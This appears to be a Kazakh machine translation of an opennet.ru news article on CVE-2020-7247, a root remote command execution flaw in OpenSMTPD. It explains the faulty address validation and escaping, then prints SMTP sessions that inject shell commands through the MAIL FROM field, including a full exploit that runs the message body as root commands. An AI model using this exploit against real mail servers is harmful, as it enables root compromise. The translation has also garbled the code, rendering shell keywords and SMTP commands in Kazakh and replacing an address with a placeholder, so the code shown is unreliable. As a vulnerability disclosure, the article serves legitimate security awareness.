Түбір ретінде қашықтан кодты орындауға мүмкіндік беретін OpenSMTPD осалдығы

OpenBSD жобасы әзірлеген пошта серверінде OpenSMTPD анықталды сыни осалдық (CVE-2020-7247) түбірлік пайдаланушы құқықтары бар серверде қабық пәрмендерін қашықтан орындауға мүмкіндік береді. Осалдық Qualys Security (OpenSMTPD алдыңғы аудиті) жүргізген қайта аудит кезінде анықталды. өткізілді 2015 жылы, ал жаңа осалдық 2018 жылдың мамыр айынан бастап бар). Мәселе жойылды OpenSMTPD 6.6.2 шығарылымында. Барлық пайдаланушыларға жаңартуды шұғыл орнату ұсынылады (OpenBSD үшін патчты syspatch арқылы орнатуға болады).

Шабуылдың екі түрі ұсынылды. Бірінші опция әдепкі OpenSMTPD конфигурациясында жұмыс істейді (тек жергілікті хосттан сұрауларды қабылдайды) және шабуылдаушы сервердегі (мысалы, хостинг жүйелерінде) жергілікті желі интерфейсіне (қайта кері) қол жеткізе алған кезде мәселені жергілікті түрде пайдалануға мүмкіндік береді. . Екінші опция OpenSMTPD сыртқы желі сұрауларын қабылдауға теңшелген кезде пайда болады (үшінші тарап поштасын қабылдайтын пошта сервері). Зерттеушілер OpenBSD 6.6 нұсқасының OpenSMTPD нұсқасымен де, басқа операциялық жүйелерге арналған портативті нұсқасымен де (Debian тестілеуінде жүргізілген) сәтті жұмыс істейтін эксплойт прототипін дайындады.

Мәселе жіберуші/алушыны анықтайтын және қосылу кезінде жіберілетін «MAIL FROM» және «RCPT TO» өрістеріндегі мәндердің дұрыстығын тексеру үшін шақырылатын smtp_mailaddr() функциясындағы қатеден туындады. пошта серверіне. smtp_mailaddr() функциясы "@" таңбасының алдында келетін пошта мекенжайының бөлігін тексеру үшін smtp_mailaddr() шақырылады.
valid_localpart(), ол RFC 5322 талап еткендей "!#$%&'*/?^`{|}~+-=_" таңбаларын рұқсат етілген (MAILADDR_ALLOWED) деп санайды.

Бұл жағдайда жол тек "!#$%&'*?`{|}~" (MAILADDR_ESCAPE) таңбаларын ауыстыратын mda_expand_token() функциясында тікелей қашып шығады. Әрі қарай, mda_expand_token() ішінде дайындалған жол жеткізу агентіне (MDA) 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' пәрмені арқылы қоңырау шалу кезінде пайдаланылады. /bin/sh арқылы mbox үшін "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}" жолы іске қосылады, мұнда "%{mbox.from}" мәні "MAIL FROM" параметрінен шығарылған деректерді қамтиды.

Осалдықтың мәні мынада: smtp_mailaddr() логикалық қатесі бар, соның салдарынан бос домен электрондық поштаға жіберілсе, мекенжайдың «@» алдындағы бөлігінде жарамсыз таңбалар болса да, функция сәтті растау кодын қайтарады. Әрі қарай, mda_expand_token() функциясы бар жолды дайындаған кезде, барлық мүмкін болатын қабық арнайы таңбалары емес, пошта мекенжайында рұқсат етілген арнайы таңбалар ғана шығарылады. Осылайша, пәрменді іске қосу үшін электрондық поштаның жергілікті бөлігінде «;» белгісін пайдалану жеткілікті. және бос орын, олар MAILADDR_ESCAPE жиынында жоқ және босатылмайды. Мысалы:

$nc 127.0.0.1 25

СӘЛЕМ профессор.falken
ЖІБЕРГЕН ПОШТА:<;sleep 66;>
RCPT TO:
ДЕРЕКТЕР
.
QUIT

Осы сеанстан кейін OpenSMTPD mbox-қа жеткізілген кезде пәрменді қабық арқылы іске қосады

/usr/libexec/mail.local -f ;sleep 66; тамыр

Бұл ретте, шабуыл мүмкіндіктері адрестің жергілікті бөлігі 64 таңбадан, ал арнайы '$' және '|' таңбаларынан аспайтындығымен шектеледі. қашу кезінде ":" белгісімен ауыстырылады. Бұл шектеуді айналып өту үшін хабарламаның негізгі бөлігі кіріс ағыны арқылы /usr/libexec/mail.local іске қосылғаннан кейін жіберіледі, яғни. мекенжаймен айла-шарғы жасау арқылы сіз тек sh пәрменінің интерпретаторын іске қосып, әріптің негізгі бөлігін нұсқаулар жинағы ретінде пайдалана аласыз. Қызметтік SMTP тақырыптары хаттың басында көрсетілгендіктен, оларды өткізіп жіберу үшін циклде оқу пәрменін шақыруды пайдалану ұсынылады. Жұмыс эксплойт келесідей көрінеді:

$nc 192.168.56.143 25

СӘЛЕМ профессор.falken
MAIL FROM:<;үшін i in 0 1 2 3 4 5 6 7 8 9 abcd;оқыңыз r;дәл;sh;шығыңыз 0;>
RCPT TO:[электрондық пошта қорғалған]>
ДЕРЕКТЕР
#0
#1
...
#d
Мен үшін WOPR; істеу
echo -n "($i) " && идентификаторы || үзіліс
орындалды > /root/x."`id -u`"."$$"
.
QUIT

Ақпарат көзі: opennet.ru

пікір қалдыру